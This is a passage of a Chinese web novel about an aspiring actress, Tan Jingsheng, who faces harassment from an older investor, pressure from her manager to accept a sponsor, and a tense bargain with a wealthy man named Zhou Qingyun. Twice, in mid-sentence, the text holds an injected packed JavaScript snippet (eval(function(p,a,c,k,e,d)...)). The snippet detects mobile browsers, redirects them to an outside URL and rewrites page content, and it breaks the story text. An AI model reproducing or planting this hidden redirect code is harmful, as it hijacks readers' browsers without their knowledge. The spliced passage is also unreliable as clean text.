看见新人来了,他把怀里的网红推走。瞧了眼桑榆,见过,视线最终落在静笙身上。 杨磊叫了声“靳总”。 靳总微抬下巴:“介绍下自己吧。” 静笙在网上见过这人的照片。当时还一面正派,没想到私下如此放浪形骸。 但她仍然嘴角牵起弧度,又一次开始自我介绍。 得知她是A大毕业的,“哟,高材生。怎么不去说脱口秀。” 静笙乖巧回答:“说脱口秀也要在娱乐圈吃饭。” 靳总笑两声,“正好,那就你了,待会儿你好好招待周总。” 什么周总。 又是姓周。 不会是周绍晨吧。 静笙这么想着,就听见侍者引人进门的声音。 靳总一改跋扈之态,亲自起身迎接。 静笙就见有人先后走进,为首那人风姿卓越不容错认,面上携带一种她没见过的,生意场上才会出现的温和面具,但奇妙的是并不给人虚假的错觉。 不是周绍晨,是周清蕴。 更糟糕了…… 靳总一动身,其他人也呼啦啦都站起来。 静笙反应慢半拍,斜斜一退,企图隐藏在桑榆后面,而这个动作反而让她更醒目。 周清蕴最先在余光里看到一双红色漆皮尖头小高跟,脚背弧线优美,上面是一双伶仃修长的小腿,往左边轻挪躲闪,黑色裙摆在空中翻飞,再妥帖地降落。 一扫那人一眼,周清蕴面上的微笑便有细微裂痕,仅仅转瞬即逝,旁人没有轻易看出。 想到可能会见到她,没想到真的见到她后,不适的感觉卷土重来。他不喜欢任何人影响自己,不论是正面,还是负面。 周清蕴压住情绪,不再理会她,继续同靳总问好,“路上堵车,来迟了。请见谅。” “没迟,是我们来得早。” 靳总赶紧让他和几位助理秘书入座,将主位让出,给静笙使眼色。 静笙前天在公司学过中西方礼仪,倒酒姿势端庄自矜,心里如何变化,行为表情都挑不出错。 靳总是第一次和周清蕴打交道,不清楚他的喜好,让公司召唤几个老油条和新面孔,再从中挑选最好的。 “这是谈静笙,和周总是校友。” 静笙只好微笑,同他对视,总之礼数一定要周全,“周总您好。” 周清蕴这才看了静笙一眼,“谈小姐,你好。” 话题就中断在这里。 靳总看这公司新人刚才还有点机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谈静笙顿了顿,语速流利地说:“《WalskiSchilderRhapsody》” “很好听。” “谢谢周总。” 这时,菜依次上桌。没人再提才艺的事。 靳总除了这家娱乐公司,还开了别的公司,正需要和周清蕴拉进关系,嘴边动不动就XX亿的投资,吹得天花乱坠。 周清蕴的表情看不出优劣,他身边的副总助理也和他一样的作风。 静笙听得无聊,去洗手间补妆时,桑榆也赶紧跟去。 “笙笙,刚才真是谢谢你。” “没事。” “你钢琴弹的真好。” “还行吧,我自创的曲子。” “……啊?” “我没学过钢琴,今天是第一次弹。” 桑榆目瞪口呆,又噗嗤笑了,“但你也不怕那位周先生懂钢琴?” “赌一把。” 实际上,静笙才不管周清蕴懂不懂,因为他和她一样,只想让当时那出戏趁早结束。 饭局过后,一行人又去打了高尔夫,靳总察言观色,没带其他艺人,只让静笙跟着。小跟班们负责捡球和调节气氛,静笙只偶尔接个话,负责捧场。 靳总去接电话的间隙,静笙一个人面对周清蕴和他的下属们。周清蕴的秘书使了个眼色,带着其他人走远。 上位者从不主动破冰。而人生头一遭,静笙不知道该如何挑起话题。 “邵晨最近在找你。” 意外地,周清蕴先开口。 聊得也是弟弟,是他此行的目的之一。 “啊,我把他拉黑了。”静笙说。 周清蕴在她面前,没那么多社交属性,更接近他本人的薄凉底色,和静笙讲话时,他只专注推杆,看都没有看她一眼。 “他迟早会找到你,我这边希望谈小姐保持合约精神。” 静笙沉默一会儿,说:“我记得,您当初没有说不能复合。” 周清蕴终于停下推杆的手,侧头看她。也不言语,但目光足够迫人。 “如果我们复合了,您再给我一笔钱,我再分手,再复合,不久之后,您家的现金流就都归我了——”静笙迎上他的视线,“这么想想还挺美。但您放心吧,我也只是想想。我会遵守约定。” 周清蕴收回视线,平淡地说:“没关系,你遵守或不遵守,都不影响结果。” 静笙心尖一颤,盯着他的侧脸,再垂下眼睫。 周清蕴放下球杆,“钢琴弹得不错,希望有机会再听到一模一样的曲子。” 静笙不言,这时,靳总回来了。 待主角们聊得差不多,一行人浩浩荡荡地准备离场。 靳总和周清蕴握手告辞。 靳总回头看谈静笙一眼,她只得恭敬伸出右手。 温暖干燥的掌心只是一触即离,极其标准的商务做派,周清蕴带着下属走了。 静笙无声地叹气。希望下次不要再见到周清蕴。 ** 回程的路上。 周清蕴望着车窗外不断倒退的夜色。 想起很久以前,有个小姑娘会在信里说,她考试时会自己编造古诗词和名人名言,用在作文里,是凑字数绝妙招数,老师也不会发现。 他回她:可能老师发现了,但没有揭穿你,因为这都是他们当学生时用过的招数。 小姑娘大吃一惊,用笔划下一整行感叹号,再说:但我说不定哪天真成了名人,也不算说谎对吧? 很天马行空,又很天真。 但是,他再也见不到她了。 而此刻,通过一个几乎是陌生的女孩子联想到她,周清蕴感觉非常怪异且复杂。他很清楚没有任何人像她。这联想本身就已经是对她的污损。 耳边,有人叫他:“周总?” 周清蕴回神。司机第三遍问他回哪里。他答回酒店。 他捻了下手指,抽出手帕,慢条斯理地擦自己的手。 总感觉上面粘有黏腻的东西,怎么洗也洗不掉似的。 就像那天的事已经过去数日,皮肤却总是在不合时宜的时候复苏记忆,闪烁点点星火。 真是厌恶极了。 7. 第 7 章 几日后,静笙收到了经纪人的通知,给她一个某视频平台S级电视剧女配的试镜。 即使不是科班出身,这几年,静笙对演员这个职业了解很多,自认不比别人差。 杨磊给她策划的发展路线中,不让她去演粗制乱造的角色,先从有个性的配角演起,积攒观众缘,一年后再飞升主角,不急于一时。 等待试镜期间,静笙按部就班地往返于公司和新公寓。 她像往常一样要回家时,在楼下看到了一辆眼熟的车。 周绍晨坐在驾驶座,和她目光相接。 他摁灭手里的烟,推门下车,同她面对面。 俩人一时无声。 “找到你可真不容易。” 终于,还是周绍晨先开口。 周绍晨在生日的次日收到那封分手信后,就想当面跟她聊一聊,这时才发现,他并不熟知她的行踪,去她宿舍找人,也只得到她搬走的消息。 静笙用她姐姐的身份证租房,因此,周绍晨没有很快查到她的住址。 随后,他打听到她签约了浩川文娱,官网上出现她的公式照。 两个地址先后拿到手,周绍晨决定在公寓前蹲人。 “静笙,你是真想和我分手?” 他喉咙发涩,这几天兄长给他安排了大量推不掉的工作,心情欠佳,终于抽空过来找人。 “我已经在信里说清楚了。” 女孩子因为这些日子较为劳累,面色看着也凄楚,倒也真像为情所伤。 静笙在信里是这样说的—— 先祝他生日快乐,描述一下和他在一起这段时间的正面感受,然后进入正题。 她说,自己的家庭和他不合适,配不上他,以后不会有结果。 她说,他心里有一个喜欢的人,而她永远比不上这个人在他心中的位置,她不能接受。 她说,他对她的职业也不满意,以后一定很多矛盾。她没有信心克服。 最后,祝福他事业顺利,早日和自己喜欢的人在一起。 全篇文笔平铺直叙,文风克制。反而更能让人感到执笔人的充沛感情与真挚祝福。 周绍晨看到最后,莫名地心脏抽痛。 因为他知道,她说的每一个分手理由都是真实的。 他听说,有人不小心说漏了嘴,让谈静笙知道应知许的事。 而他当初只想着怎么避免让父母见到她。忽略了她的感受。 “我同意知许过来,是因为她想见我哥。我……之前喜欢过她,但她曾经是我哥的未婚妻,她喜欢的也是我哥,我们不可能在一起。” 静笙垂眸小声说:“不可能在一起,不代表你心里没有她。我希望我的男朋友只喜欢我一个人。” 周绍晨从裤子口袋里拿出一只盒子,拨开盖子:“真的不能原谅我么?如果你不相信我,我们明天就订婚。结婚可能要晚一点,但只要我们坚持,我爸妈会接受的。” 看了那封信后,周绍晨满脑子都是她,连在公司开会都在想,她离开他家那晚,她是以怎样的心情看待他和应知许的。 他一定伤透她的心。 而这,反而让他产生一种特别的情愫。 让他感觉不再孤单。 经过这几天的思考,他确定自己对她认真了。既然她把全部的感情都给了他,他也要把自己的全部交给她。 过了生日,年长一岁,也不能总听父母的陈腐论调。 他们这样的家庭,有严格的婚前协议,不会损失什么。如果婚姻能给她安全感,他也愿意试一次。 静笙看到戒指上闪烁的华彩,错愕抬眼看他。他竟然愿意和她结婚,和她表演出的那个人结婚。 “不喜欢这款吗?可以换一个款式,但那就得等一等。” 周绍晨随着她伸出手的动作,有些紧张。 “哒”一声,戒指盒被扣上。周绍晨愣住。 静笙舒出一口气,语气仍是轻轻柔柔,“算了吧。我们不是一路人。早晚也会分手的。” 周绍晨眼中的光黯淡下去,“怎么会……” 静笙不再多言。 “静笙,你一个人住能不能行?我不放心你。还有,娱乐圈那么乱,你真的可以?不如跟我回去。” 静笙露出点真心的微笑,“周绍晨,谢谢你。再见。” 这笑容带着点抱歉和告别,有种奇异的复杂,又很美,周绍晨晃了晃神。想要跟上去,她已经毫不留恋地进了门。 他坐在驾驶座,看到公寓高层某一户灯亮着。很久都没离开。 静笙从落地窗前看到那台车,待她洗完澡后竟然还在。 ……早知道他这么好拿下,静笙也不必接受周清蕴的一千万。 不过,她也很少后悔。 和有钱人结婚也并不是一条很好走的路。 她拿出周清蕴的名片,编辑短信,再发送至他的手机号码。 周清蕴没有回复,但过了会儿,楼下停的那辆车亮起前灯,很快驶离。 ** 静笙在医院照顾谈佳宜一天,再聊到男友的话题,她云淡风轻地说已经分手了。 佳宜看她一点没有受情伤的样子,反而精神气积极向上,也就松了口气。 “我最近签了新公司,很快就会红。房贷也没问题。说不定还能换个大房子。” 静笙汇报自己的近况。 佳宜担忧地看着她。因为刚手术,整个人很虚弱,挤出一个笑容,“我不需要大房子,我只需要你。” “但是我想要。姐姐。”静笙从不在唯一的家人面前掩饰自己的野心。 佳宜想了想,拿出一张外卖发来的菜单,翻到背面,用笔给她画了个小房子,“这个给你,以后给你换个实体的。” 静笙抿嘴笑笑,把传单整齐叠好,岔开别的话题。 签了公司后,事业慢慢走向正轨,一切都会好起来的,她想。 ** 试镜过程比较顺利。 隔两天,杨磊就通知她试镜成功。签了合同。 静笙反而觉得事情顺利得比较离谱。 这疑惑很快得到了解答。 和投资商见面那天,杨磊特意带她去美容院,换上露肤度极高的纯白色晚礼裙。肩颈背部全露,胸被托成两道拥挤的半弧,深V拉到肚脐以上,被两条岌岌可危的带子拽着,薄纱下摆倒是长至脚踝,但两侧高叉到大腿根,一旦走动,必然春光乍泄。 杨磊夸了她一句很漂亮,待会儿好好表现。 这是一个颇具古风的四合院。 门口有专职人员站岗。核实他们的身份才给放行。 静笙之前也遇到过有人借用权势换取私欲,但那是她所能掌控的,小资源,弃掉也不可惜。 如今是第一次遇见这阵仗,心里不禁持续打鼓,怎么也平静不下来似的。 她侧头问:“我进去之后,杨哥你一直都在?” 杨磊看她几眼,笑着安慰,“当然了。别紧张,就是先见个面。” 静笙“哦”一声。 私人地界,装修不比上次去的会所差,反而多出很多个人风格。无一不是中式古典的设计。 室内很热,静笙将披风搭在手臂,乖巧地当个花瓶。 管家模样的人负责引路。 穿过一间极大的中式客厅,里面是墨香浓郁的书画室。正中间摆放茶桌,有几名中年男性,正相谈甚欢。 静笙将披风递给管家,心里如何忐忑,面上的笑容分毫不差,又是一番自我介绍。 这四合院的主人被称为“邱董”,头发半白,穿着很休闲,室内气温如夏,他穿着宽大的T恤和单薄长裤,始终面带松弛的微笑。 他上下打量着眼前的女艺人,和颜悦色地问她会写毛笔字吗。静笙说不会,他便招招手,让她过来。亲手教她写毛笔字。 背部裸露的肌肤被褶皱而潮湿的手掌覆盖,静笙不禁全身一抖,笔尖也就随之侧滑。邱董握紧她的手背,似是不察,在宣纸上写下她的名字,那字竟颇有些文人傲骨的端正,与他此刻的行径完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482955|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全相反。问她年龄时,她刚要回答,就听杨磊抢先说:“静笙才20岁,还在念书。” 邱董笑了,他唇角有个脂肪瘤,被唇角一牵,和深深的法令纹连接在一起。虽然胖,但褶皱并不见少,坑坑洼洼的皮肤像腐烂的橘子,夸了句年轻人好,精神气足之类的。 他的声音也很怜惜,像是真的在关心她,“怎么在流汗?穿得也不多。” 静笙保持低眉浅笑的乖顺,“没见过您这样的大人物,很紧张。” 旁边有人语气悠哉说“热就脱一件”。邱董反而训斥那人几句注意绅士风度。 几人呵呵一笑而过。 他转头再安慰她,掌心拍拍她圆润肩头,“习惯了就不紧张了。” 接下来,她就站在他身边,为其研磨、斟茶、倒酒,一场会面结束后,手腕都在酸痛。 有其他人在,倒也没做别的。 静笙始终当做一只人形宠物,旁人都能完全无视她的存在,跟邱董自然地谈天说地。而她只需要服侍邱董一人。 回程的车里,静笙一句话都没有讲。 杨磊一直在噼里啪啦地说话,神情激动,“静笙,这个邱董说要让你当女主。看来对你很满意。但是下次要给你换个清纯点的打扮,他爱好年轻妹。绝不找超过21以上的女孩,你以后采访时,也得把年龄往小了说。静笙,你有没有在听——” 他只碰到她肩膀上的披肩,静笙突然捂住嘴巴,干呕一声。 杨磊赶紧一踩刹车,停在路边。拉开车副驾驶的车门。 静笙立刻奔下车,蹲在街边呕吐。 最近节食,晚饭她根本没吃什么东西,吐出来的只有刚才喝下去的茶和酒。混合着胃酸,不断呕在绿化带边缘。 杨磊去车后备箱取了瓶矿泉水,开瓶盖递给她,“晕车了?早说啊。” 静笙用矿泉水漱口,缓了好半天,冬日的冷空气无孔不入地钻进每一个毛孔,吸入肺部的空气也变成锋利的刃。她咳几声,一抹嘴巴,坐进后座。 这次,杨磊看着她不适后萎靡的模样,终于暂且闭嘴。 送她到公寓楼下,静笙捏着手包,翻找门禁卡。 杨磊没有立刻开门,他语重心长地说:“静笙,一切都是为了前途,这邱董年纪大了,不会做太折腾人的事,就喜欢小姑娘,你把他伺候好了,咱一飞冲天。没有几个演员不经历这些,除非傍上更好的。但有钱人也不是满大街都是,舍得砸钱包养小明星的更不多,最多也就给你点零花钱。不够你买几个包的。” 静笙仍然是笑,呼出的白雾朦胧五官,但眼睛闪烁锐利冷光,因为刚吐过,身体还很虚弱,嗓音缥缈,“我以为,杨哥业绩那么好,是凭自己的能力。原来还让我做体力活。咱们的经纪约是不是要重新签一下?” 杨磊脸色骤变:“又没让你和他睡,被摸两下怎么了?听你在学校没少撩骚男的,这会儿你装什么纯情!” “我撩的那些男的没有老头,也没有又胖又丑的。” 杨磊哑然片刻,吸一口烟,夹着烟的手点她,“这邱董已经算好伺候的了,你有没有听说过,有的金主还特别喜欢折磨人,把人逼到精神崩溃跳楼自杀也没人追究,摊上那样的你再哭也来得及!” 杨磊看着她,倒也不是第一次遇见不愿意潜规则,嫌这嫌那的艺人,他以为谈静笙是八面玲珑肯豁得出去的性子。女孩倒是没有哭,但比哭还颓唐。 他缓了缓语气,“我看你还没毕业,也算刚入行,不跟你计较。等你真红了,感谢我都来不及。” 他说的全是普世道理,静笙很清楚,这事说到底根源并不在经纪人。她也在入行前做足了心理准备,甚至拿很多男人浅浅练手。 她以为她可以。 她主动筛选过的男人,包括周绍晨,其实都处于安全线以内,不会对她造成实际伤害。 而当真正面对压顶般的权势,当主动权并不在自己手中……这事儿的难度远超想象。 静笙捏着手心里的门禁卡,神色不再紧绷,“我知道了。” 8. 第 8 章 夜渐深。 室内只留一盏小夜灯。 静笙没脱礼服,直接窝在猫脚浴缸里,皮肤被精油浴盐腌制过一遍,那如同虫卵爬覆毛孔的悚感终于消失,十根手指的指腹被已经凉掉的水泡得皱巴巴。 她凝视着镜子里的自己,就像凝视一件商品。 任何人都不喜欢被逼着做任何事,这是理所当然。 如果把这当做对工作的一种付出,至少能得到回报。 说到底,这是个巨大的卡颜局。如果邱董长得不错——至少达到普通长相,金钱权势都能为他赋魅更多。 就像,她不排斥和周绍晨接吻,也可以选择嫁给他。而不小心招惹周清蕴,只会令她感到羞耻和被拆穿的恼火,但不会恶心。 静笙意识到,她是个无可救药的功利主义者。各方面都想要最好的。 而满足这个条件的人,根本瞧不上自己。 静笙现在特别想见姐姐,但又不敢见她。董菲儿这时发来消息时,问她现状,静笙稍微提了两句,隐去重要信息。 “都是这样过来的啊,我之前在小成本剧里演配角,谁知道剧爆了,全员升咖位,我这个小透明也涨粉了,然后你猜怎么着,第二部开拍消息一传,我就被换角了。换了一个有点名气的三线女演员。现在她在电视剧当一番女主,电影也大爆,红得不得了。早知道我也睡老头。” 她话锋一转,“不过,虽然现在愿意,但当时肯定是不愿意的。小女孩时期还对未来充满幻想,觉得爱情大过天。” 董菲儿语气也不无惆怅,“老娘现在虽然没红,但也不愁吃穿,要说后悔也没那么后悔吧。” 董菲儿为了赚钱,也吃了很多直播的苦头,最焦虑的时候每天连播十几个小时,根本不敢停下来,要不是身体发出警报信号,她会一直做下去。 静笙也在反省自己是否过于天真。 她看着手机上,发给周清蕴的唯一一条短信。 犹豫几分钟,她咬紧下唇,在屏幕上编辑:请问,绍晨现在怎么样了? 一个小时过去,没有回复。 她望着今晚的夜色,皓月当空,群星黯然。 ** 经纪人再联系她,是商量角色的事。 虽然邱董说他可以把已定女主的角色给静笙演绎,但要不要接,是个问题。 杨磊来问静笙自己的想法。 她说:“我认为还是先演女二。” 杨磊要笑不笑地问:“你该不会是,不想抢别人的角色?” 女主已经定下来了。 还是个已经手握两个大爆剧的小花。 假如被静笙抢走资源,势必会引起粉丝大战。 但谁说黑红不是红。杨磊根本没把这事看在眼里。 静笙粲然一笑,只说:“不是,男女主都是烂大街的角色,女配丰富很多。” 说是女配,其实是女二号,她有自己的cp,这部剧是民国为背景,女配一开始喜欢男主,无果后意识到男配对自己的感情,好景不长,男配为保护自己而死,她在悔意中加入战争,最后为帮助男女主而牺牲。从人物弧光来讲,可发挥的空间更大。从台词来讲,这个人物不惹人厌,反而一出场自带幽默效果。 杨磊没想到她比想象中冷静,看来是昨晚自己调理好了。 很多艺人都这样,做之前犹犹豫豫,只要迈过那个坎,得了好处,就会发现先前的犹豫就是笑话。还是那句话,你不抓住机会,这位置就是别人的。有人想卖还卖不出去。 静笙随手掏出一包烟,熟稔地问杨磊:“要吗?” 杨磊眉梢一扬,说:“不抽女士烟。” 他从口袋里拿出自己的常用烟,两个人一边谈事一边吞云吐雾。 静笙这样的长相,和吸烟是有些反差,两种风格冗杂在一起,反而凸显了摄人心魄的美。 很多艺人都吸烟,压力大是一方面,也要考虑融入社交。 杨磊渐渐放心下来。 谈完工作,他给静笙发一张照片。 她疑惑地看他。 “咳,这是邱董年轻时的照片,长得还可以。其实他五官还不错,没有短板,鼻梁挺,嘴不凸,眼睛不大但是双眼皮,脸型很正……你笑什么?” 静笙把烟灰往水晶烟灰缸里抖了抖,“果然,人只有在推销卖不出去的产品时话就会变多。” “……万事开头难,以后红了,你就有话语权了。” 他稍作安慰。 静笙不吃他这个大饼,“我想先把戏拍完。” 杨磊看着她,想说什么又闭嘴。 他跟邱董那边说一声,合同就签下来,特别给她多了十倍片酬。这钱分给公司,再扣除税款,流到静笙手里也十分可观。 也许是已经收到过一笔巨款,静笙对这几百万根本没放在眼里。不过是扯扯唇角。 卡司确定后,开机日很快到来。 静笙这才迟钝地发现,这部戏的男主演是贺淞林——就是那天在咖啡店为她说话的人。 他是个富二代,父亲是某大厂高层,资源一直很好。之前演一个青春校园男主,小爆一把,之后就一直在演男主,但播放量平平。也属于待爆的名单里。 参演这部大制作年代剧,是他打算转型试水。 贺淞林当时出现在那家咖啡店,是因为他所在的剧组拍摄地也在那附近,凑巧遇见。 “哈喽。” 他主动跟静笙打招呼,但似乎不记得她是谁。 静笙跟着其他人叫他“贺老师”,也全当不认识。 开机后,又是另外一种状态。 静笙记台词很快,扫一遍能记得大概,第二遍熟记于心。但演员的工作不止是记台词,重音和表演都是考验的一部分。 她对待这个角色十分重视,每天都在家练习很多遍。 到了片场,几乎一两条就过。 贺淞林偶尔会跟她搭话:“谈老师,你演得真不错。” 静笙礼尚往来,“谢谢,大家都很好。” 贺淞林伸懒腰:“感觉你这个角色会火。” 静笙无意钓他,也就说:“你这个角色,有点普通。” 他似乎没想到她会说实话,有点诧异看着她,收回伸出的懒腰,“没办法,我现在只能演男主。” 降番位是不稳妥的策略。 “只要角色好,用不着考虑太多吧。” 静笙觉得他简直是在浪费资源,她要是投胎到贺淞林的家里,早就不在偶像剧里混了。奖项至少拿下一个。 但她明白,贺淞林的背景给他优渥的生活,他也很难对角色产生敏感度。出演层次没那么深的偶像剧才是他的舒适区。 贺淞林望着她漂亮的侧脸,陷入深思。 静笙察觉到视线,回望过去,他展开招牌笑容,“谈老师,我请你喝咖啡吧。” 静笙不禁笑了,两个人似乎都想起上次一面之缘。并肩去找咖啡店。 剧组里几乎都是关系户,大家相处莫名地和谐。至少是在明面上。 很多人都在背地里猜谈静笙背后是哪方面的资源。她全都当不知情。 而每周总有一两天,被邱董召唤过去。 地址不是在他那座四合院,就是在会所,要么是商业场合,他会令秘书提前送来一身行头,礼服,鞋子,珠宝,包包等。并不如何奢侈,但也算十分大方。 有时,她正在跟导演对戏,就有西装革履的秘书驱车前来等待。 剧组所有人的表情都变得颇具意味。 有一回,她听到有人在吸烟区的对话。 “那老头年纪很大了吧?” “孩子都比我大了!” “但也有好处,老头在床上折腾不了几分钟。就是那种人上人,性格都很难搞。” “老头只喜欢年轻的。谈静笙也就伺候一年顶天了,一年后,她要是抓住机会,就能飞升,也挺值。那个XX,还有XXX,不就是跟了他,影后都拿了。” “也是。你说我现在要不要去巴结她啊?” “哈哈,你去吧!” 静笙不躲不避,直接推开隔间的门,双手放在感应水龙头前,慢条斯理地洗手,从面前的镜子里看着两颗埋下去的脑袋,平静地说:“我喜欢收红包,你们加我微信吧。” 那两个同事慌张地互相对视一眼,灰溜溜地跑了。 静笙想叫停她们都来不及。只啧一声。 杨磊并不是每一次都会跟着,他也有很多事要做,渐渐地,就只有静笙一人赴会。 就像经纪人说的,倒是没有进一步的暗示,该喝酒时喝酒,该捧场时捧场。 不管对方抛来什么话题,她只需要用崇拜的目光看着他就可以。 静笙把这,当成另一种形式的加班。 她对加班也逐渐适应。 这日下午。 静笙刚拍完一整夜的戏,正在补觉,就接到通知,陪人去参加商务宴。 先前,邱董送来的成衣都是白粉色系的公主裙,偶尔也会是水手服和百褶裙,并不过分暴露,只突出胸部和腰线,幼态审美中添加一丝风情元素。 而今天,他让她穿了稍微正式的白衬衫和中长款喇叭型半身裙,裙摆绣有大片鲜花。正式中又有些俏皮。 一下车,静笙看着这间熟悉的装修,正是上次周绍晨带她来见哥哥的会所。 静笙的心开始砰砰跳起来,预感海啸般强烈。跟随侍者走进时,她想找到那个人,但是没有。心里不知是失落还是松气。 周清蕴的行踪保密,有时连周绍晨都不知道他在哪里。 退一万步来说,就算见到能怎样,她的情况能好一点吗? 恐怕只会更糟糕。 邱董见了静笙,照例先欣赏一下她的新穿搭。 周围还有其他人,他让她在身边坐下,并不给人介绍,接着谈公事。 无非是公司里的一些权力倾轧。什么不知道哪里冒出来的总裁新官上任,连他的项目都敢砍掉,一定要想办法解决他。周围人溜须拍马,无不应和。 工作聊完,再聊这间会所,是周家旗下的。果然比别的地方都雅致气派很多。 有人问:“哪个周家?” 邱董说:“还有哪个周家。” 整个四九城,就只有一个周家值得提起。 “周清蕴?”有人提到这个名字,“多大年纪?” “二十七八。” 他们吃惊如此年轻。然后,也提到是否婚配。 “没有。听说他以前谈过一个,但是意外去世了。今后身边没有女人。也不知真假。” 邱董嗤笑一声,甚是不屑。 他问身边的女孩子,“你觉得这事可信吗?” 静笙规矩地说:“我不认识他。没办法回答信不信。” 邱董大笑着拍拍她的膝盖,“果然是个小姑娘,还会质疑一下男人的深情。等你再长大些,就知道这事儿根本不存在。” 静笙现在已经能很好地适应这种程度的肢体接触,不让生理反应影响面部的细微表情,瞪着无辜的大眼睛看着周围男人们的哄笑。 聊完事,他们就去骑马。 一行人准备去换马术装备。 不是每个人都养得起马,这里有供顾客骑行的温顺物种,也有专业教练,保障安全性。 他们今天没有包 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静笙保持快要僵掉的唇角,目光迟疑着挪动,从他锋利的喉结往上一挑,周清蕴也在这时低眉敛目。 仍旧是英俊立体的五官,面带温和,礼数周全,声音也极好听,却不给人一丁点好接近的错觉。 他的瞳仁冷漠得像是冻结的冰面,清晰地映着水下兀自挣扎的自己。 视线相交只是一瞬,便像两条平行线,再无交集。 如同她每次见到他。一个因忌惮而不敢靠近,一个因厌恶而不愿靠近。 静笙说自己不会骑马,邱董问她想不想学,她看着已经摆放好的双人马鞍,脑中浮现两人一前一后同乘一匹马的画面,她抱歉地说胃不舒服。 “拍戏拍的?最近在剧组顺利吗?” “挺好的,但是剧组就这样,昼夜颠倒是常事,非常抱歉。” 邱董顿了顿,“我之前不知道,你跟乔家人有过节?” 静笙一愣。 乔家人。 韩庆文结婚的妻子姓乔。和韩庆文这个无背景演员不同,乔家背景深厚,任何对韩庆文不好的言论都会立刻被删除。八卦贴上有人嘲韩庆文这个赘婿当得值,能被老婆这么宠着。 静笙脸色苍白,“……是有点。” “他们家联系我,让我删你的角色。” “剧是您投资的,您有权删或不删。” 邱董眯了眯眼睛,没有发难,独自翻身越马。 马蹄声踢踏而过,卷起冻土冰碴。 待他们策马离开视野之内。静笙立刻站起身,跑向周清蕴刚刚离开的方向。 找到他的私人包间并不难,有两名侍者在门前侍候。他们见到有人跑来,连忙拦住。并出声礼貌警告。 “小姐,您有什么事吗?我会为您代劳。” 静笙有强烈预感,这会是她最后一次见他的机会:“帮我传达一下,我有重要的事想和周先生商量。” 侍者互相递了个眼神,其中一位敲门进去。 过了会儿,他抱歉地说:“周先生说,他认为,之前的事已经谈好了,现在没有任何要和您商量的必要。” 静笙原地站了会儿,转头快速跑开。停车场处,找到那辆熟悉的车牌号,她迫切敲开车窗,跟司机说:“周总让我在车里等他。” 司机见过她,记得这位凌晨被送入酒店的漂亮女孩子。 虽然有疑问,但也不敢多言,为她打开车后门。 她给周清蕴发送一条短信,简简单单两句话: 我怀孕了。 我现在在你车里。 过了会儿,她看到司机接到指示,很快离开。 天边逐渐黯淡,夕阳往这边泼了一抹橘红,再逐渐褪色。庭院草坪地里亮起一束束灯光,模拟萤火虫,有风拂过时,温柔地摇曳。 周清蕴独自一人前来,拉开车门。 劳斯莱斯后座宽敞,而他一进来,静笙莫名感到空间被挤压,空气都跟着稀薄。 他携带室外的冷空气,更是降了周边温度。 接到爆炸性消息也并不急迫,更是四平八稳地瞧着她。 静笙很快笑着解释:“好吧,我是骗你的。我没怀孕,也不可能怀孕。” 周清蕴看了眼腕表,“你只有半分钟时间提出你的诉求。” 他的耐心不会更多。 静笙快速说:“我想和您做个交易。我能扮演您喜欢的人,相应的,我也想获得资源方面的报酬。以前的事已经结束了,我收了您的钱,就要遵守承诺,这是新的订单。我演技不错的,周绍晨就是例子,而我也很敬业。您……接受吗?” 这个沉默太久了,久到静笙以为自己进入无人之境,他终于说:“我不需要。” 静笙抓住他的手臂,那里的骨骼像钢铁般坚硬:“可是那晚你挺需要的。而且,正巧我的小名也叫昭昭,如果你想叫我昭昭,我也可以——” “闭嘴。” 他皱眉打断她。 越是动怒,唇畔反而牵起一抹讽刺的笑,好像在说她不配。 静笙咬唇,沉默一会儿,“如果你不答应,我就——” “你就怎样。”他语气淡淡。 “我……” 静笙脑子里转了好几个威胁,但又觉得这些都真正威胁不到周清蕴。 而周清蕴也绝对是个讨厌被威胁的男人。 她嗫嚅着嘴唇,只好平铺直叙地说:“我就会很伤心。” 周清蕴似乎听到什么好笑的事,“放开你的手。” 9. 第 9 章 静笙松开手,转而揪住他的西服袖口,“我真的很害怕,我不想和那个邱董在一起。你帮帮我。” 周清蕴无动于衷地瞥了眼她的手,“如果每个像你这样的人扑过来,要我帮她,我是帮还是不帮?” “但别人都不是我,我是最好的!” “怎么证明?” “你接受我,我就给你证明。” 周清蕴无意再和她拉扯,废话只会浪费他的时间,“我已经说过了,我不需要。这事到此为止。” 他推开门,再摔上。静笙去按下车窗,寒风像刀子一样刮进来,眼睛被吹得生疼,同样刺耳的还有他给司机下达的指令,“送她回邱董那里。说谈小姐迷路了。” ** 劳斯莱斯将静笙送回马场。 司机为她打开车门,她吐出一口气,再不情愿还是下车。 邱董那伙人根本没发现她离开,他们还在赛马。 只有留下的邱董的秘书边拿手机办公,边探究地看着她。但也没问她去了哪里。 静笙在洗手间补妆。 翻找口红时,在包里摸到一张纸,劣质粗糙的传单纸展开,上面是姐姐给她画的小房子。 她闭眼,再睁开。 心想,自己尽力了,这是最后一次,吃完这顿饭就走。 原计划是,付出一点时间和情绪价值,暂时得到入圈的机会,她赌老男人至少会让她拍完这部戏。 但,男人不管年轻还是年长,心里都会有一座天平,付出什么,势必要拿到什么。 这个世界上每个人都想功成名遂,但绝大部分人都得不到。成功如果那么简单,就不会引起厮杀。 静笙用纸巾摁摁眼睛,把传单纸重新折好。 等他们结束回程,正是晚饭时间。 依旧是经过复杂烹饪步骤的高端料理。厨师长为每一道菜肴讲解功效,推荐最佳赏味期。桌上最廉价的红酒都要至少小几十万。 静笙偶尔会恍惚看到,桌子上摆着不是食物,而是一套套房子。 在小城市,这些酒水也就能值个五六套吧…… 有时候,真想把酒洒在这些猪头的脑袋上,看他们发癫发怒流泪流血,撕开高昂外表的遮羞布,他们如何暴露丑陋的内里,但……也只能想想。 这一次,没让静笙服侍,邱董亲自给她倒酒。 一杯一杯酒下去,她快到了临界点。 